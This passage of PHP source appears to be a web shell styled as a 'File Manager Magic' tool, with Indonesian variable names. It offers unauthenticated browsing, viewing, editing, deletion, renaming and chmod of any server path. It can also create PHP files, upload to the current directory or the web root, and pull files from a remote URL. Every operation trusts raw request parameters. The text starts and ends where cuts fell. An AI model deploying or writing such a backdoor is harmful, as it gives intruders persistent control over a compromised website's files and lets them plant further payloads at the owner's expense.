style="background:rgba(74,61,45,0.6);padding:20px;text-align:center;border-radius:8px;color:#ffb900;">'; echo 'â ī¸ Binary file - cannot display inline<br>'; echo '<a href="?serve=1&fileloc=' . urlencode($file_path) . '" target="_blank" style="color:#00a0d2;">đŊ View Raw</a>'; echo '</div>'; } echo '<div style="display:flex;gap:10px;margin-top:15px;flex-wrap:wrap;">'; echo '<a href="?path=' . urlencode(dirname($file_path)) . '" style="color:#00a0d2;text-decoration:none;padding:8px 20px;background:rgba(50,55,60,0.6);border-radius:5px;">â Back</a>'; echo '<a href="?serve=1&fileloc=' . urlencode($file_path) . '" target="_blank" style="color:#7ad03a;text-decoration:none;padding:8px 20px;background:rgba(50,55,60,0.6);border-radius:5px;">đĨ Raw</a>'; echo '<a href="?pilihan&path=' . urlencode(dirname($file_path)) . '&edit=1" style="color:#ffb900;text-decoration:none;padding:8px 20px;background:rgba(50,55,60,0.6);border-radius:5px;">âī¸ Edit</a>'; echo '<a href="?pilihan&path=' . urlencode(dirname($file_path)) . '&chmod=1" style="color:#ffb900;text-decoration:none;padding:8px 20px;background:rgba(50,55,60,0.6);border-radius:5px;">đ Chmod</a>'; echo '</div>'; echo '</div>'; author(); } // -------------------------------------------- // Delete & Rename // -------------------------------------------- if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file) && unlink($delete_file)) { green('đī¸ File deleted!'); } echo '<script>setTimeout(function(){window.location.href="?path=' . urlencode(dirname($delete_file)) . '";},1000);</script>'; author(); } if (isset($_GET['pilihan']) && $_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); file_exists($_POST['path']) ? red('Failed to delete directory!') : green('â Directory deleted!'); } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); file_exists($_POST['path']) ? red('Failed to delete file!') : green('â File deleted!'); } } if (isset($_GET['pilihan']) && $_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); $ren ? green('â Renamed successfully!') : red('â Failed to rename!'); } $namaawal = isset($_POST['newname']) ? $_POST['newname'] : (isset($_POST['name']) ? $_POST['name'] : ''); echo '<div class="magic-form" style="background:rgba(35,40,45,0.9);max-width:500px;margin:0 auto;">'; echo '<h3 style="color:#ffb900;margin-bottom:15px;">âī¸ Rename</h3>'; echo '<form method="post">'; echo '<div style="background:rgba(26,26,26,0.6);padding:12px;border-radius:8px;margin-bottom:15px;">'; echo '<div><strong>Current:</strong> ' . htmlspecialchars($_POST['path']) . '</div>'; echo '</div>'; echo 'New Name: <input type="text" name="newname" value="' . htmlspecialchars($namaawal) . '" style="background:rgba(26,26,26,0.8);color:#fff;border:1px solid rgba(255,255,255,0.1);padding:8px 12px;border-radius:5px;width:100%;margin:10px 0;">'; echo '<input type="hidden" name="path" value="' . htmlspecialchars($_POST['path']) . '">'; echo '<input type="hidden" name="pilih" value="gantinama">'; echo '<button type="submit" name="gantin" style="background:linear-gradient(135deg,#ffb900,#e5a800);color:#000;border:none;padding:10px 30px;border-radius:5px;cursor:pointer;font-family:Dosis,cursive;font-weight:bold;">⨠Rename</button>'; echo ' <button type="button" onclick="window.location.href=\'?path=' . urlencode(dirname($_POST['path'])) . '\'" style="background:rgba(85,85,85,0.6);color:#fff;border:none;padding:10px 20px;border-radius:5px;cursor:pointer;font-family:Dosis,cursive;">Cancel</button>'; echo '</form>'; echo '</div>'; author(); } // -------------------------------------------- // Magic Forms (Create & Upload) // -------------------------------------------- echo '<div style="display:grid;grid-template-columns:1fr 1fr;gap:15px;margin-bottom:20px;">'; // Create Form echo '<div class="magic-form">'; echo '<h4 style="color:#7ad03a;margin-bottom:10px;">đ Create New</h4>'; echo '<form method="post" style="display:flex;flex-direction:column;gap:8px;">'; echo '<input type="text" name="new_filename" placeholder="filename.php" style="background:rgba(26,26,26,0.8);color:#fff;border:1px solid rgba(255,255,255,0.1);padding:8px 12px;border-radius:5px;">'; echo '<input type="text" name="file_content" placeholder="Content (optional)" style="background:rgba(26,26,26,0.8);color:#fff;border:1px solid rgba(255,255,255,0.1);padding:8px 12px;border-radius:5px;">'; echo '<input type="hidden" name="create_action" value="file">'; echo '<button type="submit" style="background:linear-gradient(135deg,#4CAF50,#45a049);color:#fff;border:none;padding:8px;border-radius:5px;cursor:pointer;font-family:Dosis,cursive;font-weight:bold;">đ Create File</button>'; echo '</form>'; echo '<form method="post" style="display:flex;flex-direction:column;gap:8px;margin-top:8px;">'; echo '<input type="text" name="new_foldername" placeholder="folder_name" style="background:rgba(26,26,26,0.8);color:#fff;border:1px solid rgba(255,255,255,0.1);padding:8px 12px;border-radius:5px;">'; echo '<input type="hidden" name="create_action" value="folder">'; echo '<button type="submit" style="background:linear-gradient(135deg,#FF9800,#e68900);color:#fff;border:none;padding:8px;border-radius:5px;cursor:pointer;font-family:Dosis,cursive;font-weight:bold;">đ Create Folder</button>'; echo '</form>'; echo '</div>'; // Upload Form echo '<div class="magic-form">'; echo '<h4 style="color:#00a0d2;margin-bottom:10px;">âŦī¸ Upload File</h4>'; echo '<form enctype="multipart/form-data" method="post" style="display:flex;flex-direction:column;gap:8px;">'; echo '<div style="display:flex;gap:10px;flex-wrap:wrap;">'; echo '<label style="color:#aaa;font-size:13px;"><input type="radio" value="1" name="dirnya" checked> Current</label>'; echo '<label style="color:#aaa;font-size:13px;"><input type="radio" value="2" name="dirnya"> Root</label>'; echo '</div>'; echo '<input type="hidden" name="upwkwk" value="aplod">'; echo '<input type="file" name="berkas" style="color:#fff;background:rgba(26,26,26,0.8);border:1px solid rgba(255,255,255,0.1);padding:8px;border-radius:5px;">'; echo '<button type="submit" name="berkasnya" style="background:linear-gradient(135deg,#00a0d2,#0088b8);color:#fff;border:none;padding:8px;border-radius:5px;cursor:pointer;font-family:Dosis,cursive;font-weight:bold;">đ¤ Upload</button>'; echo '</form>'; echo '<hr style="border-color:rgba(255,255,255,0.05);margin:10px 0;">'; echo '<form method="post" style="display:flex;flex-direction:column;gap:8px;">'; echo '<input type="text" name="darilink" placeholder="http://example.com/file.zip" style="background:rgba(26,26,26,0.8);color:#fff;border:1px solid rgba(255,255,255,0.1);padding:8px 12px;border-radius:5px;">'; echo '<input type="text" name="namalink" placeholder="filename.ext" style="background:rgba(26,26,26,0.8);color:#fff;border:1px solid rgba(255,255,255,0.1);padding:8px 12px;border-radius:5px;">'; echo '<button type="submit" name="linknya" style="background:linear-gradient(135deg,#9C27B0,#7B1FA2);color:#fff;border:none;padding:8px;border-radius:5px;cursor:pointer;font-family:Dosis,cursive;font-weight:bold;">đ Upload URL</button>'; echo '</form>'; echo '</div>'; echo '</div>'; // -------------------------------------------- // File Listing // -------------------------------------------- echo '<table class="magic-table">'; echo '<tr>'; echo '<th style="text-align:left;">đ Name</th>'; echo '<th style="text-align:center;">đ Size</th>'; echo '<th style="text-align:center;">đ Perm</th>'; echo '<th style="text-align:center;">⥠Actions</th>'; echo '</tr>'; // Directories foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo '<tr>'; echo '<td><a href="?path=' . urlencode($lokasi."/".$dir) . '" class="file-link">đ ' . $dir . '</a></td>'; echo '<td style="text-align:center;color:#666;">--</td>'; echo '<td style="text-align:center;font-family:monospace;font-size:12px;">' . statusnya($lokasi."/".$dir) . '</td>'; echo '<td style="text-align:center;">'; echo '<form method="POST" action="?pilihan&path=' . urlencode($lokasi) . '" style="display:inline;">'; echo '<select name="pilih" style="background:rgba(26,26,26,0.8);color:#fff;border:1px solid rgba(255,255,255,0.1);padding:4px 8px;border-radius:3px;font-size:11px;">'; echo '<option value="">âĄ</option>'; echo '<option value="hapus">Delete</option>'; echo '<option value="ubahmod">Chmod</option>'; echo '<option value="gantinama">Rename</option>'; echo '</select>'; echo '<input type="hidden" name="path" value="' . $lokasi . "/" . $dir . '">'; echo '<button type="submit" style="background:rgba(0,160,210,0.2);color:#fff;border:1px solid rgba(0,160,210,0.3);padding:4px 8px;border-radius:3px;cursor:pointer;font-size:11px;">â</button>'; echo '</form>'; echo '</td>'; echo '</tr>'; } // Files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = $size >= 1024 ? round($size/1024,2).' MB' : round($size,3).' KB'; echo '<tr>'; echo '<td><a href="?fileloc=' . urlencode($lokasi."/".$file) . '&path=' . urlencode($lokasi) . '" class="file-link"><span class="file-icon">' . getFileIcon($file) . '</span> ' . $file . '</a></td>'; echo '<td style="text-align:center;color:#888;">' . $size . '</td>'; echo '<td style="text-align:center;font-family:monospace;font-size:12px;">' . statusnya("$lokasi/$file") . '</td>'; echo '<td style="text-align:center;">'; echo '<form method="POST" action="?pilihan&path=' . urlencode($lokasi) . '" style="display:inline;">'; echo '<select name="pilih" style="background:rgba(26,26,26,0.8);color:#fff;border:1px solid rgba(255,255,255,0.1);padding:4px 8px;border-radius:3px;font-size:11px;">'; echo '<option value="">âĄ</option>'; echo '<option value="hapus">Delete</option>'; echo '<option value="ubahmod">Chmod</option>'; echo '<option value="gantinama">Rename</option>'; echo '<option value="edit">Edit</option>'; echo '</select>'; echo '<input type="hidden" name="path" value="' . $lokasi . "/" . $file . '">'; echo '<button type="submit" style="background:rgba(0,160,210,0.2);color:#fff;border:1px solid rgba(0,160,210,0.3);padding:4px 8px;border-radius:3px;cursor:pointer;font-size:11px;">â</button>'; echo '</form>'; echo '</td>'; echo '</tr>'; } echo '</table>'; // -------------------------------------------- // Status Function // -------------------------------------------- function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) $ingfo = 's'; elseif (($statusnya & 0xA000) == 0xA000) $ingfo = 'l'; elseif (($statusnya & 0x8000) == 0x8000) $ingfo = '-'; elseif (($statusnya & 0x6000) == 0x6000) $ingfo = 'b'; elseif (($statusnya & 0x4000) == 0x4000) $ingfo = 'd'; elseif (($statusnya & 0x2000) == 0x2000) $ingfo = 'c'; elseif (($statusnya & 0x1000) == 0x1000) $ingfo = 'p'; else $ingfo = 'u'; // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); $color = is_writable($file) ? '#7ad03a' : '#dc3232'; return '<span style="color:' . $color . ';">' . $ingfo . '</span>'; } echo '<div style="text-align:center;margin-top:20px;color:#555;font-size:12px;">⨠File Manager Magic â¨</div>'; ?> </div> </body> </html>
đž Save Changes
â Cancel